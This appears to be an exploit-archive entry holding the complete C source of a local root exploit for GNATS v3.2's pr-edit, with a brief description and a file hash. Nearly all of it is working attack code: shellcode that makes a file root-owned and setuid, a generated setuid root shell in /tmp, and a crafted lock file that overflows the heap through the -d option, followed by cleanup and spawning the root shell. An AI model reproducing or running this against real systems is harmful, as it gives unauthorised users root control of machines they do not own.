Local root exploit against GNATS v3.2 that makes use of the heap overflow found in the -d switch. Related advisory found here. Tested against RedHat Linux versions 6-9.
f5b477f0da8c0952aa1d3d05cdefb6691ea408d719dd83bb53879868bfcc2873
/*
**
** GNATS v3.2 (The GNU bug-tracking system) local root 0day exploit
**
** Tested RedHat Linux 6.x,7.x (also, 8.x,9.x)
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
*/
/* -=-= POINT! POINT! POINT! POINT! POINT! =-=-
**
** [?] Why is root setuid established in Linux?
**
** When install, user who is gnats must exist to system.
** If don't exist, setuid has been established by root's uid.
**
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/stat.h>
#define DF_SIZE (255)
#define T_G "/usr/local/lib/gnats/pr-edit" /* It's Default path */
#define DF_LK_NM "./x82" /* User,Lock: x82 */
#define DF_MK_DIR "/tmp/"
#define DF_BK_SHL "/tmp/gnats-0day"
#define GCC_V_DEF (1)
void own_banrl();
void own_usage(char *own_f_nm);
int __gnats_adm_mkdir();
int __gants_adm_gnats_dot_lock_flow(u_long own_sh,int gv_type);
void psh_addr(FILE *fp,u_long addr);
int make_sh(char *own_d_nm);
struct stat s_t;
char df_mk_dir[(DF_SIZE)]; /* gnats-adm dir path */
char df_mk_lk[(DF_SIZE)]; /* user.lock file path */
char df_mk_tmp[(DF_SIZE)]; /* gnats.lock file path */
char shellcode[(DF_SIZE)]={
/* chown root: ;chmod 6755 ; */
0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
0xeb,0x1d,0x5e,0x31,0xc0,0xb0,0xb6,0x89,
0xf3,0x31,0xc9,0x31,0xd2,0xcd,0x80,0x31,
0xc0,0xb0,0x0f,0x66,0xb9,0xed,0x0d,0xcd,
0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80,0xe8,
0xde,0xff,0xff,0xff
};
int make_sh(char *own_d_nm)
{
FILE *fp;
char d_src[(DF_SIZE)];
char st_exec[(DF_SIZE)*2];
memset((char *)d_src,0,sizeof(d_src));
snprintf(d_src,sizeof(d_src)-1,"%s.c",own_d_nm);
if((fp=fopen(d_src,"w"))==(NULL))
{
return(-1);
}
fprintf(fp,"main()\n"
"{\n"
"setreuid(0,0);"
"setregid(0,0);"
"setuid(0);"
"setgid(0);"
"system(\"sh -p\");"
"\n}\n");
fclose(fp);
memset((char *)st_exec,0,sizeof(st_exec));
snprintf(st_exec,sizeof(st_exec)-1,
"gcc -o %s %s >/dev/null 2>&1",own_d_nm,d_src);
system(st_exec);
unlink(d_src);
if(stat(own_d_nm,&s_t)==(0))
{
return(0);
}
else return(-1);
}
void own_banrl()
{
fprintf(stdout,"\n GNATS v3.2 (The GNU bug-tracking system) local root exploit.\n");
fprintf(stdout," by Xpl017Elz.\n\n");
}
void own_usage(char *own_f_nm)
{
fprintf(stdout," Usage: %s -option [argument]\n\n",own_f_nm);
fprintf(stdout,"\t -p [pr-edit path] : GNATS pr-edit path.\n",(T_G));
fprintf(stdout,"\t -t [target num] : Select gcc version number.\n",(GCC_V_DEF));
fprintf(stdout,"\t\t\t{0} : gcc old version.\n");
fprintf(stdout,"\t\t\t{1} : gcc new version.\n");
fprintf(stdout,"\t -b [target path] : setuid shell path.\n");
fprintf(stdout,"\t -h : Help information.\n\n");
fprintf(stdout," Example: %s -p%s -t%d -b%s\n\n",own_f_nm,(T_G),(GCC_V_DEF),(DF_BK_SHL));
exit(0);
}
int __gnats_adm_mkdir()
{
memset((char *)df_mk_dir,0,sizeof(df_mk_dir));
memset((char *)df_mk_tmp,0,sizeof(df_mk_tmp));
snprintf(df_mk_dir,sizeof(df_mk_dir)-1,"%s/gnats-adm/",(DF_MK_DIR));
snprintf(df_mk_tmp,sizeof(df_mk_tmp)-1,"%s/gnats-adm/gnats.lock",(DF_MK_DIR));
mkdir(df_mk_dir,0x1ed);
if((stat(df_mk_dir,&s_t)==(0))&&(S_ISDIR(s_t.st_mode)))
{
return(0);
}
else return(-1);
}
void psh_addr(FILE *fp,u_long addr)
{
u_char __bf[4];
memset((u_char *)__bf,0,sizeof(__bf));
{
__bf[0]=(addr&0x000000ff)>>0;
__bf[1]=(addr&0x0000ff00)>>8;
__bf[2]=(addr&0x00ff0000)>>16;
__bf[3]=(addr&0xff000000)>>24;
}
fprintf(fp,"%c%c%c%c",__bf[0],__bf[1],__bf[2],__bf[3]);
}
int __gants_adm_gnats_dot_lock_flow(u_long own_sh,int gv_type)
{
FILE *fp;
int g_g_nm;
#define DF_FIRST_JNK (1024)
#define DF_SECOND_JNK (100)
int fst_junk_n=(DF_FIRST_JNK);
int scn_junk_n=(DF_SECOND_JNK);
memset((char *)df_mk_lk,0,sizeof(df_mk_lk));
snprintf(df_mk_lk,sizeof(df_mk_lk)-1,"%s/x82.lock",(DF_MK_DIR));
if(gv_type)
{
fst_junk_n+=8;
scn_junk_n+=28;
}
if((fp=fopen(df_mk_lk,"w"))==(NULL))
{
return(-1);
}
for(g_g_nm=(0);g_g_nm<fst_junk_n;g_g_nm++)
{
fprintf(fp,"F");
}
(void)psh_addr(fp,(u_long)stdout);
for(g_g_nm=(0);g_g_nm<scn_junk_n;g_g_nm++)
{
fprintf(fp,"S");
}
(void)psh_addr(fp,(u_long)own_sh);
fclose(fp);
}
int main(int argc,char **argv)
{
int w_g_dot_f;
pid_t fk_pid;
u_long own_sh_addl;
char *own_exect[2];
int gcc_v_on=(GCC_V_DEF);
char pth_own[(DF_SIZE)]=(T_G);
char bck_own[(DF_SIZE)]=(DF_BK_SHL);
(void)own_banrl();
while((w_g_dot_f=getopt(argc,argv,"P:p:T:t:B:b:Hh"))!=EOF)
{
extern char *optarg;
switch(w_g_dot_f)
{
case 'P':
case 'p':
memset((char *)pth_own,0,sizeof(pth_own));
strncpy(pth_own,optarg,sizeof(pth_own)-1);
break;
case 'T':
case 't':
if((gcc_v_on=(atoi(optarg)))>1)
{
(void)own_usage(argv[0]);
}
break;
case 'B':
case 'b':
memset((char *)bck_own,0,sizeof(bck_own));
strncpy(bck_own,optarg,sizeof(bck_own)-1);
break;
case 'H':
case 'h':
(void)own_usage(argv[0]);
break;
case '?':
(void)own_usage(argv[0]);
break;
}
}
fprintf(stdout," [0] Start, exploit.\n");
if((stat((pth_own),&s_t)!=(0)))
{
fprintf(stderr," [-] pr-edit path: %s not found.\n\n",(pth_own));
exit(-1);
}
fprintf(stdout," [+] exploit target: %s\n",(pth_own));
fprintf(stdout," [1] Make setuid shell.\n");
if((int)make_sh(bck_own)==(-1))
{
fprintf(stderr," [-] exploit failed.\n\n");
exit(-1);
}
fprintf(stdout," [+] Setuid shell path: %s\n",(bck_own));
fprintf(stdout," [2] Shellcode setting.\n");
{
own_sh_addl=((0xbfffffff)-(strlen(shellcode)+strlen(bck_own)));
strncat(shellcode,bck_own,sizeof(shellcode)-strlen(shellcode)-1);
own_exect[0]=(shellcode);
own_exect[1]=(NULL);
}
fprintf(stdout," [+] Shellcode address: %p\n",own_sh_addl);
fprintf(stdout," [3] Make `gnats-adm' directory.\n");
if((__gnats_adm_mkdir())==(-1))
{
fprintf(stderr," [-] make directory failed.\n\n");
exit(-1);
}
fprintf(stdout," [4] Make user.lock file.\n");
if((__gants_adm_gnats_dot_lock_flow(own_sh_addl,gcc_v_on))==(-1))
{
fprintf(stderr," [-] make lockfile failed.\n\n");
exit(-1);
}
fprintf(stdout," [+] Execute, Shellcode !!\n\n");
if((fk_pid=fork())==(0))
{
execle(pth_own,pth_own,"-l",(DF_LK_NM),"-d",(DF_MK_DIR),(DF_LK_NM),(NULL),own_exect);
}
wait(&fk_pid);
fprintf(stdout,"\n [5] Remove setting dir, files.\n");
unlink(df_mk_lk);
unlink(df_mk_tmp);
rmdir(df_mk_dir);
if((stat(bck_own,&s_t)==(0))&&(s_t.st_mode&S_ISUID))
{
fprintf(stdout," [+] exploit successfully.\n");
fprintf(stdout," [*] It's root shell !!\n\n");
execl((bck_own),(bck_own),(NULL));
}
else
{
fprintf(stderr," [-] exploit failed.\n\n");
exit(-1);
}
}
/* eoc */